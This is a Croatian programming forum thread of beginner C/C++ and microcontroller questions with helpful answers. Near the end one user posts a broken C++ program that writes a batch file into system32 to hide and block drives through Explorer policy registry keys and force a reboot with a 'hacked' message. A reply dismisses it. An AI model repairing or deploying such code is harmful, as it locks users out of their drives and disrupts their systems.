kolko čitam po netu nanosleep(); je definiran u time.h, no imam uključen time.h i neće skompajlirati. i ne nije mi dovoljan Sleep().
ovo mi piše u codeblocksu, undefined reference to `nanosleep, odnosno nema je.
kolko čitam po netu nanosleep(); je definiran u time.h, no imam uključen time.h i neće skompajlirati. i ne nije mi dovoljan Sleep().
ovo mi piše u codeblocksu, undefined reference to `nanosleep, odnosno nema je.
kolko čitam po netu nanosleep(); je definiran u time.h, no imam uključen time.h i neće skompajlirati. i ne nije mi dovoljan Sleep().
ovo mi piše u codeblocksu, undefined reference to `nanosleep, odnosno nema je.
nanosleep postoji u linuxu ali ne i windowsima, na kojem ti to operacijskom sustavu pokušavaš kompajlirati?
na windowsima moraš koristiti posebne timere visoke preciznosti, jer onaj defaultni ima preciznost od oko 10-ak ms
kolko čitam po netu nanosleep(); je definiran u time.h, no imam uključen time.h i neće skompajlirati. i ne nije mi dovoljan Sleep().
ovo mi piše u codeblocksu, undefined reference to `nanosleep, odnosno nema je.
nanosleep postoji u linuxu ali ne i windowsima, na kojem ti to operacijskom sustavu pokušavaš kompajlirati?
na windowsima moraš koristiti posebne timere visoke preciznosti, jer onaj defaultni ima preciznost od oko 10-ak ms
win 7, kad radim sa Sleep(1) mogu dobiti točno 1ms (mjerio sam) ali trebam točnije, budem pogledo ovaj link
ftime(), uvijek sam dobivao razlike za 1ms
ovako ukratko pokušavam napisat petlju koji će svakih 10ms izvršiti kod.
for(;;)
{
ftime(&tmb);
if(tmb.millitm%10=0)
{/*kod*/}
Sleep(1);
}
tako nešto samo malo sofisticiranije napisat if da radi nakon promjene sekunde
Pozdrav,
evo imam jedan zadačić koji baš i ne uspijevam riješiti, makar je dosta jednostavan, može se riješiti samo pomoću for petlji.
Treba napisati program koji će pomoću dvodimenzionalng niza a[10][10] dobiti ovakvu tablicu:
1 0 0 0 0 0 0 0 0 0 0
1 1 0 0 0 0 0 0 0 0 0
1 2 1 0 0 0 0 0 0 0 0
1 3 3 1 0 0 0 0 0 0 0
1 4 6 4 1 0 0 0 0 0 0
1 5 10 10 5 1 0 0 0 0 0
.....
Moj program glasi ovako:
#include <iostream>
#include <iomanip>
using namespace std;
int main () {
int a [10][10] ={ {1,0,0,0,0,0,0,0,0,0},
{1,1,0,0,0,0,0,0,0,0},
{1,0,0,0,0,0,0,0,0,0},
{1,0,0,0,0,0,0,0,0,0},
{1,0,0,0,0,0,0,0,0,0},
{1,0,0,0,0,0,0,0,0,0},
{1,0,0,0,0,0,0,0,0,0},
{1,0,0,0,0,0,0,0,0,0},
{1,0,0,0,0,0,0,0,0,0},
{1,0,0,0,0,0,0,0,0,0}
};
for (int b = 0; b <= 1; ++b){
for (int c = 0; c<=9; ++c){
cout << setw(4) <<a[b][c];
}
cout << endl;
cout << endl;
}
for (int i = 2; i <= 9; ++i){
for (int j = 0; j <= 9; ++j){
a [i][j]= (a[i-1][j-1])+ (a[i-1][j]);
cout << setw(4) <<a[i][j];
}
cout << endl;
cout << endl;
}
}
E sad me zanima kako napisati jednostavniji program ( ili kompliciraniji :D ), budući da sam ja "varao" i prva dva reda ispisao odmah pomoću petlje,a ne pomoću računanja, te sam u drugom redu kod inicijaliziranja niza napisao 1,1,0,0.......
Zahvaljujem.
Ljudi, da li može pomoć? :)
jel se smije na početku ovako definirat:
int a [10][10]={{1,0,0,0,0,0,0,0,0,0},
{1,1,0,0,0,0,0,0,0,0},
{1,0,1,0,0,0,0,0,0,0},
{1,0,0,1,0,0,0,0,0,0},
{1,0,0,0,1,0,0,0,0,0},
{1,0,0,0,0,1,0,0,0,0},
{1,0,0,0,0,0,1,0,0,0},
{1,0,0,0,0,0,0,1,0,0},
{1,0,0,0,0,0,0,0,1,0},
{1,0,0,0,0,0,0,0,0,1}
};
E to neznam. Ovako glasi zadatak:
Napišite program koji će dvodimenzionalni niz a [10][10] popuniti binomnim koeficijentima. Uputa: koeficijente možete odrediti pomoću Pascalova trokuta u kojem su svi članovi u prvom retku jednaki 0 osim člana u prvom stupcu koji je jednak 1. Članovi u prvom stupcu svih redaka su jednaki 1, a ostali članovi su jednaki zbroju člana neposredno iznad i lijevo do tog člana, kao što se vidi u tablici.
(...) a ostali članovi su jednaki zbroju člana neposredno iznad i lijevo do tog člana, kao što se vidi u tablici.
ajde daj tablicu da vidimo
Tablica je dana u prethodnom postu, nije mi se opet dalo ispisivat. Ali evo još jednom:
1 0 0 0 0 0 0 0 0 0 0
1 1 0 0 0 0 0 0 0 0 0
1 2 1 0 0 0 0 0 0 0 0
1 3 3 1 0 0 0 0 0 0 0
1 4 6 4 1 0 0 0 0 0 0
1 5 10 10 5 1 0 0 0 0 0
...
...
Pozdrav,
Problem je dakle u tome sto imam switch u kojem iz jednog case-a trebam proslijediti adresu (konkretno glave vezane liste) u drugi case te to proslijediti funkciji koja bi dodavala novi clan liste.
Totalno sam se pogubio gdje bi tu trebalo teoretski koristiti * a gdje & i compiler mi se crasha kad dodje do dijela gdje treba pronaci zadnji element liste u funkciji.
Može li mi netko objasnit kad i gdje bi u ovom slučaju trebao koristit * a gdje & ili oboje skupa ?
Glava liste je ništa drugo već pokazivač na nuli element liste tj. u argumentnoj listi funkcije pokazivač na pokazivač (**). Primjer za stog:
struct zapis{
int element;
struct zapis* sljed;
};
typedef struct zapis glava;
int dodaj(glava **vrh, int element) {
glava *novi;
if ((novi = (glava *) malloc(sizeof(glava))) == NULL)
return 0;
novi->element = element;
novi->sljed = *vrh;
*vrh = novi;
return 1;
}
..negdje u main-u
glava* glavaListe = NULL;
dodaj(&glavaListe, nekiBroj);
U ovom slučaju *vrh je zapravo nulti element tj. onaj na koji pokazuje pokazivač glave liste. Također, strelica (->):
novi->element... je zapravo (*novi).element
Što sve i koliko dobro trebam znati prije programiranja GUI aplikacija ? I da li se GUI aplikacije programiraju 100% u kodu ili ?
Što sve i koliko dobro trebam znati prije programiranja GUI aplikacija ? I da li se GUI aplikacije programiraju 100% u kodu ili ?
U kojem jeziku, i za koju platformu?
Ako je C onda:
Ako je C++ onda:
Ako je C# onda:
Za neke GUI frameworke ćeš moči koristiti kojekakve dizajnere korisničkih dijaloga, dok ćeš za neke morati sve sam napisati. Više manje moraš znati samo programski jezik u kojem ćeš raditi i framework koji ćeš koristiti (znači zabiti nos u dokumentaciju i možda i nekakve tutorijale dok ti sve ne postane jasno).
Hvala . I podržava li c++ .Net ?
E to neznam. Ovako glasi zadatak:
Napišite program koji će dvodimenzionalni niz a [10][10] popuniti binomnim koeficijentima. Uputa: koeficijente možete odrediti pomoću Pascalova trokuta...
Da si odmah još u prvom postu spomenuo binomne koeficijente i pascalov trokut, prije bi dobio rješenje.
#include <stdlib.h>
#include <stdio.h>
int main()
{
int tablica[6][11] = {{1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}};
int x, y;
for (y=1; y<6; y++)
for (x=1; x<11; x++)
tablica[y][x]=tablica[y-1][x-1]+tablica[y-1][x];
for (y=0; y<6; y++)
{
for (x=0; x<11; x++)
{
printf("%2d ", tablica[y][x]);
}
printf("\n");
}
system("pause");
return 0;
}
Hvala . I podržava li c++ .Net ?
Postoji managed C++, dakle da. Ali trebaju ti Microsoftovi alati, dakle Visual Studio. Zaboravi na Code Blocks, DevCpp i slične...
http://www.codeproject.com/Articles/11634/Managed-C-Learn-by-Example-Part-1
znam da je ova tema posvećena c++-u, ali sam negdje pitao za programiranje mikrokontrolera i to se može samo u c-u pa može li netko preporučiti neku knjigu za c (za programiranje mikrokontrolera) u mplabu x
znam da je ova tema posvećena c++-u, ali sam negdje pitao za programiranje mikrokontrolera i to se može samo u c-u pa može li netko preporučiti neku knjigu za c (za programiranje mikrokontrolera) u mplabu x
Za programiranje mikrokontrolera se može koristiti i Flowcode i Arduino.
Za programiranje mikrokontrolera se može koristiti i Flowcode i Arduino.
znam ali nemaju trial i bolji mi je mplab x
Za programiranje mikrokontrolera se može koristiti i Flowcode i Arduino.
Flowcode nije džabalesku.
Arduino nema veze s PIC-evima, čovjek bi naime koristio MPLAB (Microchip, PIC).
znam da je ova tema posvećena c++-u, ali sam negdje pitao za programiranje mikrokontrolera i to se može samo u c-u pa može li netko preporučiti neku knjigu za c (za programiranje mikrokontrolera) u mplabu x
Odgovoreno ti je u ovoj temi, nekoliko stranica prije ove (ne znam staviti link na to, niti mi se da sada zamarati time).
Što se tiče programiranja (C), knjiga ti može biti bilo koja o C-u (ako nemaš prethodnog iskustva). Najprije treba znati osnove jezika, pa onda krenuti na rad s čipovima.
Izgubiti ćeš se ako su ti obje stvari nove.
IDE ćeš najbolje naučiti tako da pogledaš uputstvo i pokušaš raditi u njemu. Microchip je dobar što se tiče dokumentacije.
A PIC za kojeg misliš raditi softver će ti zadati najviše glavobolje. Za početak skompajliraj par jednostavnijih primjera (paljenje/gašenje LED-ica i slično), pa onda kreni proučavati datasheet od samog čipa.
Bez obzira na jezik morati ćeš znati kako to radi ispod haube.
Ovdje imaš link na nešto teksta o programiranju PIC-eva u C-u (no korišteni IDE je od Mikroelektronike, a za PIC ne znam je li onaj koji ti planiraš koristiti):
http://www.mikroe.com/products/view/285/book-pic-microcontrollers-programming-in-c/
(...)
imam ATtiny 2313
sad sam vidio u codeblocks-u avr project i na listi je attiny 2313
jel to onda znači da sve mogu obavit u codeblocksu kojeg nisam nadograđivao ili treba neki posebni kompajler?
sad sam vidio u codeblocks-u avr project i na listi je attiny 2313
jel to onda znači da sve mogu obavit u codeblocksu kojeg nisam nadograđivao ili treba neki posebni kompajler?
Dakle, ti si malo pobrkao stvari.
MPLAB služi za kuckanje koda za PIC mikrokontrolere. To su oni koje proizvodi Microchip.
ATTiny je AVR mikrokontroler i proizvodi ga Atmel.
Ta dva su međusobno nekompatibilna i nećeš moći raditi sa istim kompajlerom za oba.
Pa onda hajdmo ovako:
Ako hoćeš raditi u C-u i ako se radi on Windows operativnom sustavu, tada najprije trebaš kompajler, pa skini WinAVR
http://sourceforge.net/projects/winavr/files/
Nema veze što je instalacija stara 2 godine, u tom svijetu nova verzija ne izlazi svakih 6 mjeseci.
Nakon toga ćeš trebati IDE.
Tu možeš sa Atmelovih stranica (www.atmel.com) skinuti AVR studio, trenutna verzija je 6. (Još uvijek koristim verziju 4). On ima simulator, što ti može biti korisno dok se učiš.
IDE nije savršen i ima iritatnih bugova, barem u vooj verziji koju koristim.
Možeš koristiti i Eclipse, ali u tom slučaju trebaš ovaj plugin:
http://avr-eclipse.sourceforge.net/wiki/index.php/The_AVR_Eclipse_Plugin
Teoretski možeš koristiti Arduino. To nisam probao i ne mogu ti dati savjet što i kako, jer koliko se sjećam, on je rađen za malo jače AVR-ove (ATMega i slične).
Što se tiče razvoja, sve važi kao i za prethodnu poruku, samo u ovom slučaju moraš dobro proučiti datasheet za taj AVR.
(...)
a šta je onda bolje AVR ili PIC mikrokontroleri?
sad sam vidio u codeblocks-u avr project i na listi je attiny 2313
jel to onda znači da sve mogu obavit u codeblocksu kojeg nisam nadograđivao ili treba neki posebni kompajler?
Pošto sam morao otići nešto obaviti, nisam stigao nakucati do kraja...
Code::Blocks je samo IDE. No, ako si pronašao da ima podršku za taj AVR, tada će trebati također instalirati i kompajler (pokušaj sa WinAVR).
IDE bi trebao biti dovoljno pametan da pronađe kompajlere.
Ako ti zatreba simulator, opet ćeš morati instalirati AVR Studio.
Iskreno, još nisam uspio pronaći dobar open source simulator za bilo koji mikrokontroler i da je uz to jednostavan za korištenje.
Kombinacija koju inače koristim za rad sa AVR-ovima je STK500 i STK501, pa uz to AVR JTAGICE mkII.
Software nekada kucam u Eclipseu, a nekada u AVR Studiu, ovisno o tome koliko je velik projekt.
No, zbog alata koje koristim, debugging i simulacija idu preko AVR Studia.
a šta je onda bolje AVR ili PIC mikrokontroleri?
Ovo je jedno od pitanja koje inače započinje religijske ratove.
No, na sreću ovo najvjerojatnije nije grupa gdje se muvaju elektroničari.
Bolje je ono što si možeš trenutno priuštiti, pa ako vidiš da te to zanima i htio bi malo više raditi, tada ćeš s vremenom svejedno isprobati obje platforme.
Kod za PIC-eve ćeš u 99% slučajeva raditi u MPLAB-u (jedini free kompajler u kojem su podržani je SDCC), a za AVR izbor je malo veći (što nužno i ne mora biti bolja stvar).
PIC-evi su popularniji u SAD-u, AVR-ovi s ove strane bare.
To je pod uvjetima da pričamo o 8-bitašima.
Na ovima malo kompleksnijima (16 ili 32-bit) izbor nije tako jednostavan.
Pogledaš nekakve osnovne ploče za početnike (tasteri, LED-ice, zujalice i slično) i uzmeš ono za što imaš para.
Ako se kužiš u elektroniku i imaš opremu (alat, lemilica) i sikustvo, pogledaj shemu za nekakvu ploču i napravi ju sam.
Ako si početnik, nemoj to raditi, jer ćeš potrošiti gomilu vremena, živaca i novaca.
evo imam problem s ovi programom:
#include <windows.h>
#include <fstream>
#include <iostream>
#include <cstring>
#include <conio.h>
int main()
{
ofstream::write( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n";
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n";
write <<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n";
write.close(); //close file
ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL);
return 0; }
(ako imate win7, nemojte kompajlirat)
neprepoznaje ofstream i write
-radim u codeblocksu
Ovo je bez veze, zapisuješ registry ključeve u .bat datoteku. Onda ti kaže da si hakiran, okani se ovoga i kopiranja nekih kôdova...
Kako misliš ne prepoznaje ofstream!?
Ako radiš u Codeblocksu imaš mogućnost da radiš sa dosta kompajlera, ali nekako sam ubjeđen da je riječ o GCC-u?